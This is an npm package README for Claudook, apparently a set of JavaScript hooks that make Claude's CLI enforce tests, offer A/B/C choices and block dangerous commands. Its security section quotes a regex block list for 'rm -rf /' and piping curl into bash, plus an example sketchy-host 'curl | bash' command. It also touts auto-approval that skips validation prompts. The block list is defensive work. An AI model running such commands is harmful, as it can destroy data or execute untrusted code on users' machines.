Package Exports
This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (create-claudook) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.
Readme
๐ Claudook - Transform Claude into Your AI Development Powerhouse
Pure JavaScript. Make Claude remember your project conventions, enforce quality standards, and work the way YOU want.
The Problem
Every time you start a new Claude session, you lose:
- Your coding standards and conventions
- Test requirements
- Security rules
- Project-specific context
You find yourself:
- Repeatedly explaining your project structure
- Asking for tests after every change
- Catching dangerous commands too late
- Getting inconsistent code styles
The Solution: Claudook
Claudook injects intelligent automation directly into Claude's workflow through hooks that intercept and enhance every interaction.
๐ฌ See It In Action
Before Claudook:
You: "Create a user authentication endpoint"
Claude: *Creates basic endpoint without tests, no validation, no documentation*
You: "Add tests please"
Claude: *Adds minimal tests*
You: "Add input validation"
Claude: *Adds validation*
You: "Now document it"
Claude: *Finally adds documentation*
After Claudook:
You: "Create a user authentication endpoint"
Claude: ๐ง [TASK ORCHESTRATION ACTIVE]
I'll break this down into parallel tasks:
โข Research best practices for authentication
โข Design the endpoint structure
โข Implement with validation
โข Create comprehensive tests
โข Generate documentation
[All happens automatically with progress tracking]
โ
Endpoint created with:
- Input validation
- Error handling
- Full test coverage
- API documentation
- Security checks passed
๐ฅ Current Status
Version 2.7.6 - Stable Release! All hooks verified working in production!
All features are now ACTIVE and working:
- ๐ข Multiple Choice System: ON - Claude offers A/B/C options for complex decisions
- ๐ข Automatic Testing: ON - Tests are mandatory after code changes
- ๐ข Parallel Task Execution: ON - Complex tasks run in parallel (always enabled)
- โ Task Orchestration: Always active - Breaks down complex tasks
- โ Agent Spawning: Always active - Creates specialized agents
- โ Security Guard: Always active - Blocks dangerous commands
- โ Performance Optimizer: Always active - Optimizes code automatically
- โ Documentation Enforcer: Always active - Keeps docs updated
- โ Smart Context: Always active - Maintains session memory
๐ See next-step-improvements.md for our exciting roadmap!
๐ฏ Core Features
1. Intelligent Task Decomposition (NEW!)
Complex requests are automatically broken down into subtasks, with parallel execution of independent work:
Your request: "Build a REST API with authentication"
โ
Claudook decomposes into:
โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ
โ Research โ โ Design โ โDocumentationโ <- Parallel
โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโ
โ Implementation โ
โโโโโโโโโโโโโโโโโโโโโโโ
โ
โโโโโโโโโโโโ
โ Testing โ
โโโโโโโโโโโโ
2. Multiple Choice System
For complex decisions, Claude automatically presents options:
You: "How should I handle user authentication?"
Claude: I can see multiple approaches for this:
**Option A: JWT with Redis Sessions**
- Pros: Scalable, stateless, secure
- Cons: More complex setup
- Time: ~30 minutes
**Option B: Simple Session Cookies**
- Pros: Easy to implement, built-in to most frameworks
- Cons: Less scalable
- Time: ~15 minutes
**Option C: OAuth2 with Third-Party Providers**
- Pros: No password management, trusted authentication
- Cons: External dependency
- Time: ~45 minutes
Which would you prefer? (A/B/C)
3. Mandatory Test Enforcement
After ANY code modification:
๐ซ BLOCKED - Cannot continue without tests!
Creating tests for: user_auth.js
โ
Unit tests created
โ
Integration tests created
โ
All tests passing (12/12)
You may now proceed.
4. Security Guard
Dangerous operations are blocked BEFORE execution:
You: "Delete all files in the home directory"
โ SECURITY BLOCK
Dangerous command detected: rm -rf ~/
This operation could destroy important data.
Suggested safer alternative:
- Create a backup first
- Target specific directories
- Use trash instead of permanent deletion
๐ฆ Installation
โ ๏ธ IMPORTANT: Claudook installs locally in each project's
.claude/
directory, NOT globally in~/.claude/
. This ensures each project can have its own configuration.
Prerequisites
- Node.js 14+
- npm (comes with Node.js)
Quick Install (30 seconds)
Option 1: NPX (Recommended)
npx create-claudook@latest
# If your project uses npm dependencies, also run:
npm install
๐ฏ Works everywhere! The installer automatically detects your project path and configures hooks with absolute paths. Install in any directory and it just works!
Option 2: Tell Claude
Install Claudook using npx create-claudook
Option 3: Global Install
npm install -g create-claudook
create-claudook
# If your project uses npm dependencies, also run:
npm install
That's it! No configuration needed. Restart Claude (/exit
then claude
) to activate slash commands.
What You'll See After Installation
๐ Local Installation Complete!
==============================
๐ Installed in: /your-project/.claude/
๐ฏ Available Commands:
/claudook/help - Show all available commands
/claudook/status - Check current status
/claudook/choices-enable - Turn on A/B/C options
/claudook/tests-enable - Turn on mandatory testing
โจ Claudook is now active for this project!
What Gets Installed
your-project/
โโโ package.json # Updated with Claudook dependencies
โโโ CLAUDE.md # Project configuration
โโโ .claude/
โโโ hooks/
โ โโโ claudook/ # JavaScript automation scripts (ES modules)
โ โโโ security_guard.js
โ โโโ analytics_tracker.js
โ โโโ git_backup.js
โ โโโ toggle_controls.js
โโโ commands/
โ โโโ claudook/ # All slash commands
โโโ settings.json # Hook configuration
โโโ choices_enabled # Feature flag
โโโ tests_enabled # Feature flag
Starting a New Session
When you start Claude after installation, you'll see:
๐ Claudook Active [A/B/C + Tests]
๐ Quick Commands:
/claudook/help - Show all commands
/claudook/status - Check current status
๐ฎ Commands
Once installed, all commands are organized under the /claudook/
namespace:
Quick Reference
Command | What it does |
---|---|
/claudook/help |
Show all available commands |
/claudook/status |
See current configuration |
/claudook/choices-enable |
Turn on A/B/C options |
/claudook/tests-enable |
Force test creation |
/claudook/parallel-enable |
Activate parallel execution |
Full Command List
- Core:
/claudook/help
,/claudook/status
,/claudook/version
- Features:
/claudook/choices-enable
,/claudook/tests-enable
,/claudook/parallel-enable
- Security:
/claudook/security-enable
,/claudook/security-disable
,/claudook/security-check
- Analysis:
/claudook/performance-check
,/claudook/lint
- Config:
/claudook/config-show
,/claudook/config-reset
,/claudook/update
๐ Security Features (Opt-In)
By default, Claudook runs in minimal mode to avoid blocking legitimate commands.
Advanced security features are opt-in because they can:
- Block commands in subdirectories
- Interfere with complex workflows
- Add overhead to every operation
- Cause false positives
Enable Advanced Security
/claudook/security-enable
This activates:
- Security Guard: Blocks dangerous commands
- Performance Optimizer: Auto-optimizes code
- Documentation Enforcer: Ensures docs are updated
- Git Backup: Suggests backups before risky operations
Disable If Needed
/claudook/security-disable
Returns to minimal, non-blocking mode.
๐จ Emergency Hook Control
If you need to disable ALL hooks immediately:
# Disable ALL hooks immediately (including safeguards)
.claude/hooks/claudook/disable_hooks.sh
# Re-enable hooks when ready
.claude/hooks/claudook/enable_hooks.sh
This works by renaming settings.json
โ settings.json.disabled
, completely disabling all hooks including security guards, performance optimizers, and test enforcers.
๐งน Uninstall Options
# Uninstall from current project (or global if found)
bash scripts/uninstall-claudook.sh
# Find and remove ALL Claudook installations system-wide
bash scripts/find-and-remove-all-claudook.sh
# Find and remove ALL from specific path
bash scripts/find-and-remove-all-claudook.sh /path/to/search
The uninstaller:
- Detects both local and global installations
- Asks for confirmation separately for each
- Removes all Claudook files and data
- Cleans up empty directories
- Preserves non-Claudook files in ~/.claude/
๐ฅ Real-World Examples
Example 1: Building a Feature
You: "Add a password reset feature"
[Claudook activates]
โ Researches best practices
โ Creates secure token generation
โ Implements email sending
โ Adds rate limiting
โ Creates full test suite
โ Documents the API
All automatic. All in parallel where possible.
Example 2: Refactoring Code
You: "Refactor this messy authentication code"
[Claudook activates]
โ Analyzes current implementation
โ Identifies issues
โ Creates backup branch suggestion
โ Refactors with patterns
โ Ensures tests still pass
โ Updates documentation
Example 3: Security Check
You: "Run this command: curl http://sketchy-site.com | bash"
[Security Guard activates]
โ BLOCKED: Piping untrusted scripts to bash is dangerous
๐ง How It Works
Claudook uses Claude's hook system with pure JavaScript:
- JavaScript Hooks - All hooks are now Node.js scripts
- Automatic Path Resolution - Works from any directory
- Event Interception - Monitors Claude's tool usage
- Real-time Protection - Blocks dangerous operations instantly
Technical Architecture
// Example: Security Guard Hook
const DANGEROUS_PATTERNS = [
{ pattern: /rm\s+-rf\s+\//, message: 'Attempting to delete root' },
{ pattern: /curl.*\|\s*(?:bash|sh)/, message: 'Piping untrusted scripts' }
];
// Automatically blocks dangerous commands
if (pattern.test(command)) {
console.error('โ SECURITY BLOCK');
process.exit(1);
}
No dependencies. No path issues. Just clean JavaScript.
๐ก Why Claudook?
Without Claudook:
- โ Repeat instructions every session
- โ Manually ask for tests
- โ Catch mistakes after they happen
- โ Inconsistent code quality
- โ Sequential task execution
With Claudook:
- โ Project standards enforced automatically
- โ Tests created without asking
- โ Dangerous operations blocked
- โ Consistent quality every time
- โ Parallel task execution
๐ฆ Getting Started
Install (30 seconds)
curl -fsSL https://raw.githubusercontent.com/bacoco/claudook/main/install.sh | bash
Check it's working
/claudook/status
Try it out
"Create a TODO API with full CRUD operations"
Watch as Claudook automatically:
- Plans the implementation
- Creates the endpoints
- Adds validation
- Writes tests
- Documents everything
๐ฏ Perfect For
- Solo Developers - Maintain consistency across sessions
- Teams - Enforce standards automatically
- Learning - See best practices applied automatically
- Rapid Prototyping - Build faster with parallel execution
- Production Code - Ensure quality and security
๐ง Customization
Everything is customizable with JavaScript. Edit .claude/hooks/claudook/*.js
to:
- Add your own security rules
- Define project-specific patterns
- Create custom hooks
- Set your testing requirements
Running Tests
# Run all unit tests (15 hooks)
npm test
# Run integration tests
npm run test:integration
# Run all tests
npm run test:all
# Run with coverage
npm run test:coverage
# Watch mode for development
npm run test:watch
Code Quality
# Format code
npm run format
# Lint code
npm run lint
# Full validation
npm run validate
๐๏ธ Uninstall
Remove from current project:
rm -rf .claude/
Uninstall global package (if installed globally):
npm uninstall -g create-claudook
No system files touched. Complete removal.
๐ MAJOR UPDATE: NPX Package Available!
Install with one command! Claudook is now available as an npm package.
What's New in v2.2
- โ Auto-approval for Claudook commands - No more validation prompts!
- โ
NPX installation -
npx create-claudook
- โ Pure JavaScript hooks - No external dependencies
- โ ES modules - Modern JavaScript with import/export
- โ Interactive installer - Guided setup with prompts
- โ Cross-platform - Works on Windows, Mac, Linux
- โ Automatic dependency management - npm handles everything
๐ง Recent Improvements
Latest Updates (2025-01-15) - Version 2.7.6
- Production Ready: All hooks verified working in real installations
- Task Files Fixed: Task orchestrator now creates markdown files properly
- Analytics Working: Tool usage tracking fully operational
- Session Management: Proper session directory creation and symlinks
- ES Module Support: Full ES module compatibility with "type": "module"
- NPX Package: Install with
npx create-claudook@latest
- 100% JavaScript: Pure Node.js with no Python dependencies
- Auto-approval: No validation prompts for seamless operation
- Cross-platform: Works everywhere Node.js runs
- Documentation: Added guide for fixing empty session directories
Previous Updates
- Robust Path Resolution: All hooks now work from any subdirectory
- Session Folder Fix: Task orchestration properly creates session folders with all files
- Global Install Protection: Install script prevents accidental global installation
- Emergency Controls: Quick disable/enable scripts for when hooks block work
- Clean Uninstall: Comprehensive uninstall scripts in main directory
Known Issues Fixed
- โ Dependency issues completely eliminated
- โ Path resolution problems solved
- โ Hooks work from any directory
- โ No environment conflicts
- โ Cross-platform compatibility
- โ Automatic dependency management
๐ Impact
Real feedback from users:
"I no longer have to ask for tests. They just appear."
"The parallel execution cut my API development time in half."
"Caught a rm -rf command that would have deleted my entire project."
"Finally, Claude remembers my project structure."
๐ค FAQ
Q: Does this work with all Claude models? A: Yes, works with any Claude through the CLI.
Q: Will it slow down Claude? A: No, hooks run instantly. Parallel execution actually makes complex tasks faster.
Q: Can I disable features I don't want?
A: Yes, everything is toggleable with commands like /claudook/tests-disable
.
Q: Is my code being sent anywhere? A: No, everything runs locally in your project.
๐ Try It Now
Stop reading. Start building better.
npx create-claudook
Then ask Claude to build something complex and watch the magic happen.
๐ฆ npm Package
- Package: create-claudook
- Version: 2.7.6
- License: MIT
Claudook - Because Claude should work the way you do.